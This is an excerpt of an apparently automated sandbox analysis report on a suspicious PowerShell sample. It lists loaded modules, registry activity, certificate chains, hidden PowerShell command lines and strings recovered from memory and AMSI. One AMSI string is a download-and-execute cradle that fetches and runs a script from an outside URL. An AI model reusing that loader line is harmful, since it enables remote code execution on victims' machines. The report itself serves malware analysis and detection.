"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe7d510000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe6ebe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe6a5c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe80a30000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffe6b740000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe5b160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe80d90000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffe83010000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffe82f90000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffe8fbb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffe8dc50000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffe8ac20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffe70380000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffe8d9e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffe86d30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffe87330000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffe8d7a0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffe807b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffe8086000041:Td87,file/memory contains long string with (Indicator: "powershell_ise.exe"; File: "6BKR3FO93J7U41X27CGX.temp") file/memory contains long string with (Indicator: "Test-Path"; File: "AMSI") file/memory contains long string with (Indicator: "New-Object"; File: "AMSI") Found string "$p = New-Object byte[] $d.Length" (Indicator: "New-Object"; File: "AMSI") Found string "IEX((New-Object Net.WebClient).DownloadString('https://unisd.tonisear.com/dsfnkbertj34'))" (Indicator: "New-Object"; File: "AMSI") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")42:T134d,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "Ptype_PSFactory" (Path: "HKCU\WOW6432NODE\CLSID\{11659A23-5884-4D1B-9CF6-67D6F4F90B36}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\INSTANCE") "powershell.exe" touched "CLSID_CheckCompositionCycles" (Path: "HKCU\WOW6432NODE\CLSID\{DB6EFB73-5153-43B7-8078-C6FFC4C0238C}\TREATAS") "powershell.exe" touched "CompoundCondition Class" (Path: "HKCU\WOW6432NODE\CLSID\{116F8D13-101E-4FA5-84D4-FF8279381935}\TREATAS") "powershell.exe" touched "Condition History Class" (Path: "HKCU\WOW6432NODE\CLSID\{C64B9B66-E53D-4C56-B9AE-FEDE4EE95DB1}\TREATAS") "powershell.exe" touched "LeafCondition Class" (Path: "HKCU\WOW6432NODE\CLSID\{52F15C89-5A17-48E1-BBCD-46A3F89C7CC2}\TREATAS") "powershell.exe" touched "Property System" (Path: "HKCU\WOW6432NODE\CLSID\{B8967F85-58AE-4F46-9FB2-5D7904798F4B}\TREATAS") "powershell.exe" touched "Adobe Acrobat Document" (Path: "HKCU\WOW6432NODE\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Microsoft Word-Vorlage" (Path: "HKCU\WOW6432NODE\CLSID\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "All Tasks" (Path: "HKCU\WOW6432NODE\CLSID\{ED7BA470-8E54-465E-825C-99712043E01C}\SHELLFOLDER") "powershell.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "powershell.exe" touched "CompressedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Microsoft Access Application" (Path: "HKCU\WOW6432NODE\CLSID\{73A4C9C1-D68D-11D0-98BF-00A0C90DC8D9}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Options" (Path: "HKCU\WOW6432NODE\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\SHELLFOLDER") "powershell.exe" touched "Network and Sharing Center" (Path: "HKCU\WOW6432NODE\CLSID\{8E908FC9-BECC-40F6-915B-F4CA0E70D03D}\SHELLFOLDER") "powershell.exe" touched "LayoutFolder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{328B0346-7EAF-4BBE-A479-7CB88A095F5B}\INPROCSERVER32") "powershell.exe" touched "Power Options" (Path: "HKCU\WOW6432NODE\CLSID\{025A5937-A6BE-4686-A844-36FE4BEC8B6D}\SHELLFOLDER") "powershell.exe" touched "Programs and Features" (Path: "HKCU\WOW6432NODE\CLSID\{7B81BE6A-CE2B-4676-A29E-EB907A5126C5}\SHELLFOLDER") "powershell.exe" touched "Microsoft OneNote Section" (Path: "HKCU\WOW6432NODE\CLSID\{A5F5BAF2-FFB4-486E-8C70-F2063CBC9FEB}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "System" (Path: "HKCU\WOW6432NODE\CLSID\{BB06C0E4-D293-4F75-8A90-CB05B6477EEE}\SHELLFOLDER") "powershell.exe" touched "Shell Message Handler" (Path: "HKCU\WOW6432NODE\CLSID\{5FA29220-36A1-40F9-89C6-F4B384B7642E}\OVERRIDEFILESYSTEMPROPERTIES")43:T6d1,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\Windows\5o.System32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\Windows\5o.System32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: 6BKR3FO93J7U41X27CGX.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00000796-00000C2E-2760246348] Observed system executable string:""%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command -" [Source: 00000000-00000796-00000C47-23243456308] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00002344-00000BC1-1387189355] Observed system executable string:"%WINDIR%\SysWOW64\dllhost.exe" [Source: 00000000-00002344-00000C46-265000585373] Observed system executable string:"%WINDIR%\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoP -NoLogo -NonI -Command -" [Source: 00000000-00002344-00000C47-268975843689] Observed system executable string:"%WINDIR%\system32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00004816-00000BC0-1392598645]44:Tf97,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00000796-00000C2B-1266692995] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00000796-00000C2B-1267055362] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00000796-00000C2B-1267167501] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00000796-00000C2B-1267272328] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00000796-00000C2B-1267433789] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00000796-00000C2B-1267485225] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00000796-00000C2B-1267564018] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00000796-00000C2B-1267625443] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00000796-00000C2B-1267715522] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00000796-00000C2B-1267761210] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00000796-00000C2B-1267867185] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00000796-00000C2B-1267979909] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00000796-00000C2B-1268159063] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00000796-00000C2B-1268467163] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00000796-00000C2B-1268603396] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00000796-00000C2B-1268688941] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00000796-00000C2B-1268902357] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00000796-00000C2B-1268953965] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00000796-00000C2B-1269010807] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00000796-00000C2B-1269130448] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00000796-00000C2B-1269501753] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00000796-00000C2B-1269581169] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00000796-00000C2B-1269592506] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00000796-00000C2B-1269728854] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00000796-00000C2B-1269991231]45:Tfed,The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV E36, O=Sectigo Limited, C=GB" (SHA1: A2:C0:28:A5:31:00:21:AD:2B:6C:AF:6F:76:87:A2:46:44:F9:DF:51; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root E46, O=Sectigo Limited, C=GB" (SHA1: 56:63:48:E6:56:E1:FA:6C:4E:2E:E6:72:59:16:E8:F4:E3:73:8A:07; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust ECC Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 3F:96:99:89:F5:31:0E:9C:05:0D:FF:D7:AB:C1:55:30:E3:C1:3A:A0; see report for more information) The input sample is signed with a certificate issued by "CN=E8, O=Let's Encrypt, C=US" (SHA1: 97:E6:06:DA:E2:FA:A9:6D:3E:41:BC:79:29:58:7F:AC:12:7B:F8:2A; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 54:31:7E:B0:76:5F:0B:C6:74:85:51:84:EB:83:74:B4:19:9E:46:55; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 36:89:D8:84:E5:9D:D0:B1:F5:9E:05:87:FE:6B:38:32:89:E3:84:39; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=E7, O=Let's Encrypt, C=US" (SHA1: 0B:4A:F4:10:22:C9:38:26:BE:F9:25:FD:3B:0F:65:8E:A3:30:7C:6F; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3B:73:C1:7E:3D:F8:7C:F3:AA:77:F1:38:92:19:EB:5E:DD:51:9E:7F; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: D0:2D:A3:1C:7D:AB:CC:DD:84:B9:7C:E2:3B:13:01:10:35:29:24:7C; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2025 Q4, O=GlobalSign nv-sa, C=BE" (SHA1: 36:0A:76:32:A6:8F:B2:9C:C6:C1:C4:25:66:45:BA:D2:D2:88:66:84; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: FC:FA:4D:AC:C7:66:CE:DD:FD:B0:1A:E9:5B:62:C4:D3:5F:0F:B8:65; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 7B:EB:8C:99:70:88:B3:BD:C2:BE:47:C4:D4:A7:3D:B6:41:3E:23:68; see report for more information) The input sample is signed with a certificate issued by "CN=E8, O=Let's Encrypt, C=US" (SHA1: 72:AC:F3:14:BF:4F:7E:44:04:00:3F:03:40:7A:B3:CE:E9:F8:71:21; see report for more information) The input sample is signed with a certificate issued by "CN=E7, O=Let's Encrypt, C=US" (SHA1: CE:E7:BE:AF:48:BB:6D:AF:66:D1:FC:DB:A4:56:F4:77:26:9B:AA:5F; see report for more information) The input sample is signed with a certificate issued by "CN=GeoTrust TLS RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: FA:E3:71:21:C1:2C:36:8E:99:6B:3A:11:C8:8B:D5:87:9B:0D:09:40; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 8B:3C:5B:9B:86:7D:4B:E4:6D:1C:B5:A0:1D:45:D6:7D:C8:E9:40:82; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4; see report for more information)46:T96a,Found string "Add-Type -AssemblyName System.Windows.Forms" (Indicator: "Add-Type"; File: "AMSI") Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "function New-TemporaryFile" (Indicator: "New-TemporaryFile"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "function New-Guid" (Indicator: "New-Guid"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")47:Tc63,"powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1)48:T6a1,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD 